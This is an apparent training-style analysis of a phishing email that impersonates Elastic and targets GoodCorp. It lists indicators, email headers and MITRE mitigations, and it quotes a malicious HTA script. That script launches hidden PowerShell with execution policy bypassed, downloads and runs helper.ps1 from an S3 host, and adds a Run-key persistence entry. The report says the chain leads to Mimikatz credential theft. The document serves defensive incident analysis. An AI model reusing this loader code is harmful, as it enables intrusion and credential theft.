Title: Email Analysis

**Group/Name:** Aimé Fraser

# **Indicators and Technical Details**

Datetime	Identifier (IP, Domain, URL, Hostname)	MITRE Technique ID	Analyst Comment
No date given	Email does not have the same design aesthetic as the real site.	N/A	Each Indicator is shown in the screenshot narrative below.
	Attempts to create a sense of urgency		
	Unprofessional presentation – code visible on screen, and footer text that doesn't match.		
	Unprofessional language "vibe"		
	Link text does not lead to Elastic site		
	Warning about download when email opens		
	The reset password button directs to the unprofessional-looking site with no directions		
	Click the login button, and the screen shows obfuscated XML		
	When the password is entered and asked to save, there is no acknowledgment that anything happened		
	Security Practices link leads to a web address showing an .hta file. Adobe asks to enable the add-in		
	Clicking that link leads to downloading the files helper.ps1		
	Click password recovery link brings up a warning window		
	Clicking yes to run Recovery.ps1 runs Mimikatz		
	From and return path are not the same in the header.		
	The from address is a Gmail account.		
	From path obfuscated to avoid spam detection		

# **Executive Summary**


A GoodCorp user flagged an email as potential phishing. Analysis proved it is a phishing email that contained links to download PowerShell scripts that use a fake website to harvest users' Elastic Corp. logins and passwords. Each entry into that page (which has unprofessional graphic design) is unsuccessful. The goal is to have the user click the forgot password button, which will download the Mimikatz credential-stealing binary. This will harvest all credentials stored in the victim's computer.

The only computers affected were those that clicked on any links in the email. For those machines/users, all passwords stored on the machine should be changed, as the attacker now has them.


# Technical Summary and Analysis.

See below for a graphical walk-though of the email. This narrative is in screenshots, and due to layout limitations in Word, the pages are visually uneven. Please keep scrolling through the pages until reaching the final page, which is marked --End—


The overall feel of the email is clunky and unprofessional.




The real Elastic site is exciting and engaging.




The text attempts to create a sense of urgency by saying access to Elastic has been restricted.



Looking more closely, code artifacts litter the screen, a sign of uncaring design.




Unprofessional language in these circumstances – "vibe."






## Link text does not lead to Elastic site.




The reset password button directs to unprofessional-looking site with no directions.




All attempts to log in with various email addresses lead to variations of this. The <HostID> code was always different.



The <HostId> when decoded with Zip always yielded this. Unble to decode or find file.txt.



The Security Practices link leads to a web address that downloads an .hta file.




The hta file shows a download link for PowerShell script helper.ps1.

```
≡ Security-Docs.hta ×


■ Security-Docs.hta

      <script language="VBScript">
          Function var_func()
              Dim var_shell
              Set var_shell = CreateObject("Wscript.Shell")
              var_shell.run "powershell.exe -exec bypass -w hidden -command $wc =
              New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent', 'Mozilla/5.
              0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.
              proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials =
              [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX ($wc.
              downloadstring('https://ibarblkacoiwlkese.s3.amazonaws.com/helper.ps1'))
              ", 0, true
              var_shell.run "powershell.exe -exec bypass -w hidden -command $wc2 =
              New-Item -Path HKCU:\software\microsoft\windows\run -Value (New-Object
              Net.WebClient).DownloadString('https://ibarblkacoiwlkese.s3.amazonaws.com/
              helper.ps1')", 0, true
          End Function
          Function TestBox()
              Msgbox "Client name (PDF Failed to Decode!)"
          End Function
          TestBox
          var_func
          self.close
      </script>
```


Opening the link to helper.ps1 leads nowhere.




The password recovery link reveals another PowerShell link.



Clicking on it brings up a warning.



# Clicking open will download Mimikatz.



The From: and Return: paths are not the same in the email header. They are from a gmail account. This is unprofessional.

```
cdcp-header.txt
            cdtA==
  X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
         d=1e100.net; s=20210112;
           h=x-gm-message-state:from:mime-version:date:message-id:subject:to
            :content-transfer-encoding;
          bh=skjTcecwQ8qBMuphJXJsJYoVinN5dq/n/TqmbSgdUYI=;
b=FCblP6mv5jmgPPorec0NGbpz2y6WxbeosjgB7yVWQizSdmS3dgKh0qu2Zu9WGNXDt6
eGLGWPVqyQwb8g7fQT8I+ljzKv7sYvkqeXbEHZNKniInDJJzvk1GeyV11z71Q60/5sS+
            y+kB+SHT54047WMGRXIEWbR5K2qQzBLm4q7dkVPF9E+0rE41kDA+Rn+NLDD4FBa2cXi+
            vtFIDrU/6ug6zj6T3jcqSIb8R+41oziWFk6fwRqAmo3mBkVZ1YOv4nR5xr1x+5N67vmO
            wc0KZ0GdSohfev0oNVq0xjR4cVjzVZCAufUZ0A3PPnpx0+Ugj0uIMje41GRCbzUQdT1z
            iBrg==
 X-Gm-Message-State: AOAM5300XHq46WLx2L3LGkm0wy6J6++nxnCobunttW9F9nuYQKx2gWzz
 mAPSMRWnWhycQ/K7/1K1Y59SLr+wmymisA== X-Google-Smtp-Source: ABdhPJz8SjRw6dXXDGuIj94FCTK9e7uDQpsqoVdqdctdkI+QAMB+K5JeMOXbDx1TZaZJj6b0z7vtlw==
  X-Received: by 2002:a05:620a:288b:: with SMTP id j11mr4666029qkp.175.1633631556754;
                                          0700 (PDT)
 Return-Path: itgoodcorp@gmail.com
  Received: from ip-172-16-5-10 (ec2-52-3-13-8.compute-1.amazonaws.com. [52.3.13.8])
           by smtp.gmail.com with UTF8SMTPSA id g5sm135299qkp.120.2021.10.07.11.32.35
           for <goodcorp@goodcorp.com>
           (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
Thu. 07 Oct 2021 11:32:36 -0700 (PDT)
From: "=?utf-8?Q?=E2-80-8C-E2-80-8C-E2-80-8Csu-CF-81-CF-81ort@elastic.com-E2-80-8D?-" <itgoodcorp@gmail.com>
  X-Google-Original-From: goodcorpl@goodcorp.com
 Mime-Version: 1.0
Date: Thu, 07 Oct 2021 18:32:36 +0000
  Message-Id: <1633631555821051708.922.7718069904829163970@ip-172-16-5-10>
  Subject: Anomaly detected - reset password!
  To: "Goodcorp IT" <goodcorp@goodcorp.com>
X-SID-PRA: ITGOODCORP@GMAIL.COM
  Content-Type: text/html; charset=UTF-8
  Content-Transfer-Encoding: quoted-printable
  X-MS-Exchange-Organization-ExpirationStartTime: 07 Oct 2021 18:32:37.6765
   (UTC)
  X-MS-Exchange-Organization-ExpirationStartTimeReason: OriginalSubmit
  X-MS-Exchange-Organization-ExpirationInterval: 1:00:00:00.00000000
```

```
cdcp-header.txt
         X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
                      d=1e100.net; s=20210112;
h=x-gm-message-state:from:mime-version:date:message-id:subject:to
                      :content-transfer-encoding;
bh=skjTcecwQ8qBMuphJXJsJYoVinN5dq/n/TqmbSgdUYI=;
                       b=FCb1P6mv5jmgPPorec0NGbpz2y6WxbeosjgB7yVWQiz5dmS3dgKh0qu2Zu9WGNXDt6
eGLGWPVqyQwb8g7fQT8I+1jzKv7sYvkqeXbEHZNKniInDJJzvk1GeyV11z71Q60/5sS+
y+kB+SHT54047WMGRXIEWbR5K2qQzBLm4q7dkVPF9E+0rE41kDA+Rn+NLDD4FBa2cXi+
                         vtFIDrU/6ug6zj6T3jcqSlb8R+4loziWFk6fwRqAmo3mBkVZlYOv4nR5xr1x+5N67vmOwc0KZ0GdSohfev0oNVq0xjR4cVjzVZCAufUZOA3PPnpx0+Ugj0uIMje4lGRCbzUQdT1z
                         iBrg==
         X-Gm-Message-State: AOAM5300XHq46WLx2L3LGkm0wy6J6++nxnCobunttW9F9nuYQKx2gWzz
mAPSMRWnWhycQ/K7/1K1Y59SLr+wmymisA==
         X-Google-Smtp-Source: ABdhPlz8SjRw6dXXDGuIj94FCTK9e7uDQpsqoVdqdctdkI+QAMB+K5JeMOXbDx1TZaZJj6b0z7vtlw==
X-Received: by 2002:a05:620a:288b:: with SMTP id j11mr4666029qkp.175.1633631556754;
Thu, 07 Oct 2021 11:32:36 -0700 (PDT)
         Return-Path: itgoodcorp@gmail.com

Received: from ip-172-16-5-10 (ec2-52-3-13-8.compute-1.amazonaws.com. [52.3.13.8])

by smtp.gmail.com with UTF8SMTPSA id g5sm135299qkp.120.2021.10.07.11.32.35
                       for <goodcorp@goodcorp.com>
(version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
       X-Google-Original-From: goodcorpl@goodcorp.com
         Mime-version: 1.0
Date: Thu, 07 Oct 2021 18:32:36 +0000
         Message_Id: <16336315558218051708.922.7718069904829163970@ip-172-16-5-10>
Subject: Anomaly detected - reset password!
To: "Goodcorp IT" <goodcorp@goodcorp.com>
X-SID-PRA: ITGOODCORP@GMAIL.COM
Content-Type: text/html; charset-UTF-8
         Content-Transfer-Encoding: quoted-printable
X-MS-Exchange-Organization-ExpirationStartTime: 07 Oct 2021 18:32:37.6765
         X-MS-Exchange-Organization-ExpirationStartTimeReason: OriginalSubmit X-MS-Exchange-Organization-ExpirationInterval: 1:00:00:00.0000000
```

The email path is obfuscated to avoid spam detection.


```
38 v X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
                d=1e100.net; s=20210112;
                h=x-gm-message-state:from:mime-version:date:message-id:subject:to
                 :content-transfer-encoding;
                bh=skjTcecwQ8qBMuphJXJsJYoVinN5dq/n/TqmbSgdUYI=;
                b=FCb1P6mv5jmgPPorec0NGbpz2y6Wxbeosjg87yVWQizSdm53dgKh0qu2Zu9WGNXDt6
eGLGWPVqyQwb8g7fQT8I+1jzKv7sYvkqeXbEHZNKniInDJJzvk1GeyV11z71Q60/5sS+
                 y+kB+SHT54047WMGRXIEWbR5K2qQzBLm4q7dkVPF9E+0rE41kDA+Rn+NLDD4FBa2cXi+
                 vtFIDrU/6ug6zj6T3jcqSIb8R+4loziWFk6fwRqAmo3mBkVZlYOv4nR5xr1x+5N67vmO
                  wc0KZ0GdSohfev0oNVq0xjR4cVjzVZCAufUZ0A3PPnpx0+Ugj0uIMje41GRCbzUQdT1z
                 iBrg==
49 ▼ X-Gm-Message-State: AOAM5300XHq46WLx2L3LGkm0wy6J6++nxnCobunttW9F9nuYQKx2gWzz
               mAPSMRWnWhycQ/K7/1K1Y59SLr+wmymisA=
      X-Google-Smtp-Source: ABdhPJz8SjRw6dXXDGuIj94FCTK9e7uDQpsqoVdqdctdkI+QAMB+K5JeMOXbDx1TZaZJj6b0z7vtlw==
 52 T X-Received: by 2002:a05:620a:288b:: with SMTP id j11mr4666029qkp.175.1633631556754;
                Thu, 07 Oct 2021 11:32:36 -0700 (PDT)
Return-Path: itgoodcorp@gmail.com

55 ▼ Received: from ip-172-16-5-10 (ec2-52-3-13-8.compute-1.amazonaws.com. [52.3.13.8])
                by smtp.gmail.com with UTF8SMTPSA id g5sm135299qkp.120.2021.10.07.11.32.35
                for <goodcorp@goodcorp.com>
                (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
Thu 07 Oct 2021 11-22-26 0700 (DDT)
    From: "=?utf-8?Q?=E2-80-8C-E2-80-8C=E2-80-8Csu-CF-81-CF-81ort@elastic.com=E2-80-8D?=" <itgoodcorp@gmail.com>
61 x-Google-Uriginal-From: goodcorp1[@goodcorp.com
62 Mime-Version: 1.0
63 Date: Thu, 07 Oct 2021 18:32:36 +0000
64 Message-Id: <1633631555821051708.922.7718069904829163970@ip-172-16-5-10>
      Subject: Anomaly detected - reset password!
To: "Goodcorp IT" <goodcorp@goodcorp.com>
X-SID-PRA: ITGOODCORP@GMAIL.COM
      Content-Type: text/html; charset=UTF-8
      Content-Transfer-Encoding: quoted-printable
 70 ▼ X-MS-Exchange-Organization-ExpirationStartTime: 07 Oct 2021 18:32:37.6765
      (UTC)
      X-MS-Exchange-Organization-ExpirationStartTimeReason: OriginalSubmit X-MS-Exchange-Organization-ExpirationInterval: 1:00:00:00.0000000
```

The SPF gives a pass saying Gmail is qualified to send emails for GoodCorp. This is unlikely, but it is possible to arrange if the phisher sets up a fake domain and adds its own SPF record.

```
Received: from BMSPR2001BB0914.namprd20.prod.outlook.com
(2603:10B6:4041:114) by MN2PR20MB2928.namprd20.prod.outlook.com with HTTPS;
Thu, 7 Oct 2021 18:32:40 +0000
Received: from DMSPR19CA00066.namprd19.prod.outlook.com (2603:10B6:3:116::28)
by BNSPR2001MB0914.namprd20.prod.outlook.com (2603:10B6:3:116::28)
by BNSPR2001MB0914.namprd20.prod.outlook.com (2603:10B6:3:116::28)
by BNSPR2001MB0914.namprd20.prod.outlook.com (2603:10B6:3:116::28)
cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SH4384) id 15.20.4587.19; Thu, 7 Oct
2021 18:32:37 +0000
Received: from DM6NAM12F1031.eop-nam12.prod.protection.outlook.com
(2603:10B6:3:116:cafe::96) by DMSPR19CA0066.outlook.office365.com
(2603:10B6:3:116:cafe::96) by MSPR19CA0066.outlook.office365.com
(2603:10B6:3:116:cafe::96) by With Microsoft SMT Fortential State of the Additional State of the A
```

This is what happened here.



Phishing emails from gmail.com pass DKIM (as shown here) because Gmail is a legitimate server. Passing DKIM only assures the legitimacy of the servers and integrity during transmission. It does not guarantee that email's contents are safe or legitimate.

```
tor <goodcorp@goodcorp.com>; Thu, 0/ Oct 2021 11:32:3/ -0/00 (PDI)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
       d=gmail.com; s=20210112;
       h=from:mime-version:date:message-id:subject:to
        :content-transfer-encoding;
       bh=skjTcecwQ8qBMuphJXJsJYoVinN5dq/n/TqmbSgdUYI=;
       b=irf+xUOPNKxU5wZMtr13NV1D/vJ4hJYUVL7wO6d+NQKFzp+exdSX+kCigaoSaP1SHK
        uyKSEuup7gzvd9YN0HqiDboD7NnfzqN6y+s1xERMA3wwRYOJh1nYs4sgBEM2+iZPES/h
        EEaTcspAjASXaQjuVEzrOFq2J8UDvbdwIfL2jk8iOVBZJzaFO2zp2hayto617I1p5uaD
        ycbMWH3KnmwmlDBJIh1/bYQdeO9A1uwXp3Bwq4t44OUMJjvY3jCpCpTw6HH0VGqV0TIM
        FIz3xWc7UYtVj/SNdaZaZ8zHuoRlxvQMg/SKw0o1D7jNxlnQDKvfjH+Odjxzb149P41+
-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
       d=1e100.net; s=20210112;
       n-x-gm-message-state:rrom:mime-version:date:message-id:subject:to
        :content-transfer-encoding;
       bh=skjTcecwQ8qBMuphJXJsJYoVinN5dq/n/TqmbSgdUYI=;
       b=FCb1P6mv5jmgPPorec0NGbpz2y6WxbeosjgB7yVWQizSdmS3dgKh0qu2Zu9WGNXDt6
        eGLGWPVqyQwb8g7fQT8I+1jzKv7sYvkqeXbEHZNKniInDJJzvk1GeyV11z71Q60/5sS+
        y+kB+SHT54047WMGRXIEWbR5K2qQzBLm4q7dkVPF9E+0rE41kDA+Rn+NLDD4FBa2cXi+
        vtFIDrU/6ug6zj6T3jcqSIb8R+4loziWFk6fwRqAmo3mBkVZ1Y0v4nR5xr1x+5N67vm0
        wc0KZ0GdSohfev0oNVq0xjR4cVjzVZCAufUZ0A3PPnpx0+Ugj0uIMje41GRCbzUQdT1z
        iBrg==
    Message-State: AOAM5300XHq46WLx2L3LGkm0wy6J6++nxnCobunttW9F9nuY0Kx2gWzz
```

## Remediation and Recommendations

## M1049 Antivirus/Antimalware

Anti-virus can automatically quarantine suspicious files.

## M1031 Network Intrusion Prevention

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments or links can be used to block activity.

#### M1021 Restrict web-based content

Determine if certain websites or attachment types (ex: .scr, .exe, .pif, .cpl, etc.) that can be used for phishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.

## M1054 Software Configuration

Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross-domain) to perform similar message filtering and validation.

## M1017 User Training

Users can be trained to identify social engineering techniques and phishing emails.

# **DS0015** Application Log

Monitor for third-party application logging, messaging, and/or other artifacts that may send phishing messages to gain access to victim systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. URL inspection within the email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.

## DS0022 File

Monitor for newly constructed files from phishing messages to gain access to victim systems.

## **DS0029** Network Traffic

Monitor and analyze SSL/TLS traffic patterns and packet inspection associated with the protocol(s) that do not follow the expected protocol standards and traffic flows (e.g. extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated with traffic patterns (e.g., monitor anomalies in the use of files that do not normally initiate connections for the respective protocol(s)). Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.

Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.

## **DS0009** Process Creation

Monitor for newly executed processes that may abuse PowerShell commands and scripts for execution.

## **DS0012** Script Execution

Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

## References

Validate DKIM record by using the DKIM record checker, Mimecast, Accessed January 14, 2022.